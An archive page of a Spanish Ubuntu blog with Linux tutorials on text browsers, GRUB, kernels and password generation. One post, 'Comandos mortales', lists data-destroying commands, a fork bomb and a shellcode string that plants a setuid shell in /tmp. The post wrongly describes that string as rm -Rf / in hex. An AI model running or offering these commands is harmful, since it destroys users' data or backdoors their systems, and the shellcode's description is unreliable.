Archivo

Archive for the ‘Software Libre’ Category

Ya está lista mi primera Pildora Ubuntera

octubre 28, 2010 Deja un comentario

Pildoras Ubunteras

Muy buenas a todos…. como ya algunos sabrán, la comunidad de Ubuntu Nicaragua está impulsando un proyecto llamado Pildoras Ubunteras, el cual básicamente trata sobre video tutoriales de diversos temas en Ubuntu, todos con una duración máxima de 3 minutos y publicados en http://www.ubuntu.org.ni/pildoras.

Por mi parte he decidido formar parte de los colaboradores de este proyecto, y me alegra contarles que ya he realizado mi primer aporte al proyecto con la creación de mi primera Pildora Ubuntera con la ayuda de leogg, llamada: Instalar .deb en Ubuntu, la pueden ver aquí .

Aunque esto es sumamente sencillo para nosotros los conocedores de este mundo, para muchos, que apenas empiezan es algo nuevo y que les servirá seguro de mucha ayuda.

[blip.tv http://blip.tv/play/AYKEwBYA%5D

Todos están invitados a participar de este bonito proyecto, el cual tiene como objetivo proporcionar ayuda interactiva a los usuarios de este lindo sistema.

Ya saben, si quieren alguna píldora, háganmelo saber a través de comentarios o DIY (Do It Yourself), les aseguro que será una aventura divertida, en la que aprenderán nuevas cosas.

Hasta la próxima.

 

Anuncios

Conquistando la terminal: Navegadores web en modo texto

agosto 18, 2010 4 comentarios

Para los que utilizamos GNU/ Linux, es muy común que muchas veces no tengamos acceso al modo gráfico del sistema, ya sea por optimización de recursos u otra razón específica (cuando se tiene un servidor en marcha), y necesitamos navegar por la web en busca de algo. Para los principiantes en el mundo de GNU/ Linux, podría sonar casi imposible navegar en internet sin el uso de Mozilla, Chronium, Chrome u otro navegador que posea nuestra distribución; sin embargo, no es del todo imposible, déjenme comentarles que existen navegadores web en modo texto, los cuales nos serán útiles en algún momento cuando tengamos que hacer uso del modo consola solamente.

A continuación presento algunos de ellos, los cuales me han servido en varias ocasiones.

Links2

Links es un navegador web de código abierto en modo texto y gráfico a partir de su versión 2 en modo terminal.

La versión original fue desarrollada por Mikuláš Patočka en la República Checa en 1999. El proyecto original era crear un navegador web similar a Lynx pero con más características.

Mikuláš Patočka explicó que prefirió ignorar a Lynx y desarrollar un navegador aparte porque, debido a la forma en que fue desarrollado, Lynx está imposibilitado para realizar conexiones múltiples esto impediría la capacidad de Links de descargar archivos al mismo tiempo que se navega por Internet.

En el año 2000 Mikuláš Patočka se une a Karel Kulhavý, Petr Kulhavý y Martin Pergel, compañeros en la Universidad Charles en Praga, y forman Twibright Labs. Juntos continúan el desarrollo de Links, agregando soporte para formatos gráficos de imágenes, antialising del texto y Javascript.

El modo gráfico funciona incluso en sistemas UNIX sin X Window o cualquier otro gestor de ventanas, usando SVGALib o el framebuffer de la unidad de procesado de gráficos del sistema

A diferencia de Lynx, Links tiene soporte para tablas y frames en HTML, y permite el scroll horizontal. Además, es compatible con terminales a color y monocromos e incluye un sistema de menús desplegables.

Desde la versión 0.98 no se agregan nuevas características a este navegador. Las versiones posteriores son liberadas sólo para corregir errores.

Algunas de sus características son:

  • Multiplataforma
  • Multiidioma
  • Barra de Menúes
  • Gestor de descargas
  • Soporte para formatos de imágenes JPEG, GIF, PNG, XBM y TIF
  • Marcadores
  • Soporte de tablas
  • Soporte de Frames
  • Soporte parcial de JavaScript
  • Fuentes con anti-aliasing
  • Compatibilidad con HTML 4.0
  • Compatibilidad con FTP
  • Compatibilidad con SSL

Su instalación en GNU/ Linux Debian y GNU/ Linux Ubuntu es:

sudo aptitude install links2

Su ejecución se hace a través de la terminal:

links http://www.google.com.ni


links2

w3m

La segunda opción es w3m, que es un navegador web basado en texto así como un paginador.

Se parece mucho a Lynx y tiene soporte para tablas, marcos, conexiones SSL, color de fondo e incluso imágenes. Generalmente, hace las páginas de la forma más fiel posibley se utiliza en emacsw3. Se pueden hojear páginas web a través de una ventana del terminal (xterm, rxvt o algo similar). Por otra parte, se puede utilizar como herramienta HTML por estar apegado a los estándares.

Algunas de sus características son:

Tabs

Visualización de imágenes (configurable)

Bookmarks

Manejo de forms

Su instalación en GNU/ Linux Debian y GNU/ Linux Ubuntu se realiza a través de:

sudo aptitude install w3m

Y su ejecución se realiza en la terminal con:

w3m http://www.google.com.ni

w3m

Lynx

La última alternativa propuesta  es Lynx que es un navegador web y cliente de gopher en modo texto.

Lynx es usado en terminales de cursor direccionable y celdas de caracteres, o emuladores de terminal (incluyendo terminales VT100 y paquetes de software para computadoras de escritorio que emulanterminales VT100, como Kermit o Procomm. Originalmente fue desarrollado para UNIX y VMS y aún hoy se distribuye con varias distribuciones de Linux. Oficialmente existen versiones para Microsoft Windows (Windows 95 y posteriores), DOS, OS/2 y FreeBSD, AmigaOS, Atari TOS, BeOS entre otros tantos. Las versiones para Mac OS X son provistas por OSXGNU. Su simplicidad facilita que unlector de pantalla trabaje sobre este navegador, lo que lo convirtió en una opción para usuarios con problemas de visión. Lynx también se usa para comprobar la usabilidad de un sitio web en navegadores web antiguos. Para navegar con Lynx se puede seleccionar un enlace con las teclas de dirección o, activando una opción para numerar los enlaces, ingresando el número de cada enlace. Las versiones actuales tiene soporte para varias características de HTML. Incluye soporte para marcadores, cookies. El contenido de las tablas es mostrado en varias líneas de texto, donde el final de cada fila de la tabla se representa con un salto de línea. Los frames son identificados por un nombre y se navegan como si fueran páginas independientes. Lynx puede mostrar archivos locales e incluye soporte para los protocolos Gopher, FTP, WAIS, NNTP, Finger, o servidores cso/ph/qi, y servicios accesibles a través de conexiones a cuentas telnet, TN3270 o rlogin.

lynx

Espero les ayuden en algún momento.

Categorías:Debian, Software Libre, Ubuntu

Generando contraseñas seguras en GNU/ Linux

Muchas veces, la mayoría de ellas, necesitamos contraseñas para nuestro e-mail, twitter, facebook, y cualquier otra red social o sitio web que nos permita inscribirnos en el mismo; entonces siempre estamos pensando en “¿Qué contraseña?” podemos utilizar, y siempre terminando escribiendo una, que tiene que ver con nosotros, por razones de no olvidarla con el paso del tiempo, algo que no es muy recomendable si poseemos información valiosa y no queremos que sea obtenida por alguien que no seamos nosotros mismos.

En esta ocasión, explico una solución sencilla, que puede ser aplicada en cualquier distribución de GNU/ Linux, y que nos servirá para generar contraseñas seguras. Es un código en bash que nos permite generar caracteres, números y símbolos aleatorios. A continuación el código:

for ((n=0;n<10;n++)); do dd if=/dev/urandom count=1 2> /dev/null | uuencode -m -| sed -ne 2p | cut -c-10; done

Para utilizarlo, simplemente abrimos una terminal: presionamos Alt+F2 y luego digitamos: gnome-terminal y escribimos o pegamos la pequeña porción de código, pulsamos ENTER y ésto nos generará 10 contraseñas con una longitud de 10 caracteres alfanuméricos.

Espero les sirva, cualquier duda, o error que haya, me lo hacen saber.

PS: Visto en el twitter de marconi

Categorías:Debian, Software Libre, Ubuntu

Agregando una imagen al GRUB2

Como tod@s ya sabemos, desde la versión 9.10 tenemos disponible en UBUNTU la version 2 del gestor de arranque GRUB. Pues bien, esta vez voy a mostrar como estableces una imagen de fondo a nuestro GRUB para que se vea más adornadito y no tengamos que estar viendo ese negro que trae por defecto. Comencemos:

Primeramente descargamos un paquete de imagenes para el GRUB2

sudo apt-get install grub2-splashimages

Esto nos descarga una serie de imagenes en la dirección /usr/share/images/grub/ en formato tga con resolución 640×480
Ahora solo editamos un archivo ( mismo que en ubuntu 9.10)
abrimos una terminal y tecleamos
sudo gedit /etc/grub.d/05_debian_theme
Editamos la dirección de la imagen para el fondo en la linea WALLPAPER

WALLPAPER=”/user/share/images/grub/wall.tga”

Guardamos y cerramos el gedit
y en la terminal hacemos
update-grub2

Nota: Puedes poner la imagen que quieras en formato png y jpg en resoluciones de 640×480 (recomendable) aunque con el startupmanager puedes aumentarla pero se retardaría el inicio del sistema.
Para copiar archivos como root.
En la terminal escribir sudo -s
password:
después
gksudo nautilus

Y listo, tenemos nuestro gestor de arranques con la imagen que querramos

Categorías:Debian, Software Libre, Ubuntu

Como eliminar versiones antiguas de kernels

Para los que usamos GNU/Linux y que tenemos la posibilidad de mantener actualizado nuestro sistema, sabemos que cuando actualizamos nuestro sistema después de cada cierto tiempo, podemos encontrarnos con que ya está disponible una nueva versión del kenel, por lo que a la hora de actualizar nuestro sistema, se nos van creando una lista de los kernels disponibles.. Pues bien, el día de hoy me dispuse a desinstalar todas las versiones anteriores de los kernels que he venido utilizando y decidí dejar solamente la última, que es la que utilizo.

A continuación explicaré, de una manera sencilla como desinstalar las versiones antiguas de nuestros kernels:

1. uname -r OBTIENE LA VERSION ACTUAL DE NUESTRO KERNEL
2. dpkg –get-selections | grep linux-image OBTIENE TODOS LOS KERNEL INSTALADOS
3. sudo apt-get remove –purge linux-image-2.6.32-22-generic BORRAR EL KERNEL ESPECIFICADO

Y listo …. eso es todo… ahora solamente nos queda reiniciar nuestro sistema para hacer uso del último kernel… (si es que no lo estamos utilizando ya, en este caso no es necesario reiniciar).

Espero les sirva.

Categorías:Debian, Software Libre, Ubuntu

Comandos mortales en GNU/ Linux

noviembre 21, 2009 2 comentarios

1.

rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3
mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4
:(){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5
cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6
mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

NIÑOS NO INTENTEN ESTO EN CASA, Y SI LO HACEN PUES ….. PRUEBEN

Categorías:Debian, Software Libre, Ubuntu

Recuperar el GRUB luego de instalar Window$

noviembre 21, 2009 Deja un comentario

La primera vez que instalé Ubuntu, que fue la versión 7.10 (me refiero a la versión que ocupe realmente por primera vez) lo tuve instalado junto a Win2, pues resulta que un dia de tantos me apareció un tal ERROR 13: no supe que hacer, más que formatear toditito.
Pues luego de tantas experiencias en el nuevo mundo de GNU/ LINUX hoy en dia me considero saber lo suficiente como para salir de la mayoria de los clavos en los que vivo metido. (Todo gracias a San GOOGLE y unos cuantos tutoriales, al grupo GUL-NIC) y a mis cagadas que hago.

Pues el dia de hoy les traigo la resolución a uno de los problemas más comunes a los que se enfrenta un usuario nuevo de GNU/ LINUX, la reinstalación del GRUB luego de reinstalar el sistema privativo con el que lo comparten, pues los pasos son pocos y sencillos, alli les va:

Nos conseguimos un CD Live de cualquier ditribución y ejecutamos como superuser el Grub.

#grub
(En el caso de Ubuntu pues solamente abrimos la terminal: sudo grub + contraseña y listo)

En el grub, realizamos la siguiente consulta:
grub>find /boot/grub/stage1

A cada uno le arrojará un resultado diferente. En mi caso ha sido (hd0,0).

Nos lo apuntamos y lo tendremos en cuenta para los siguientes comandos.

grub>root (hd0,0)
grub>setup (hd0)
grub>quit

Reiniciamos y asunto arreglado

Espero les sirva y no tengan que formatear el disco como lo hice yo hace año y medio creo

Categorías:Software Libre, Ubuntu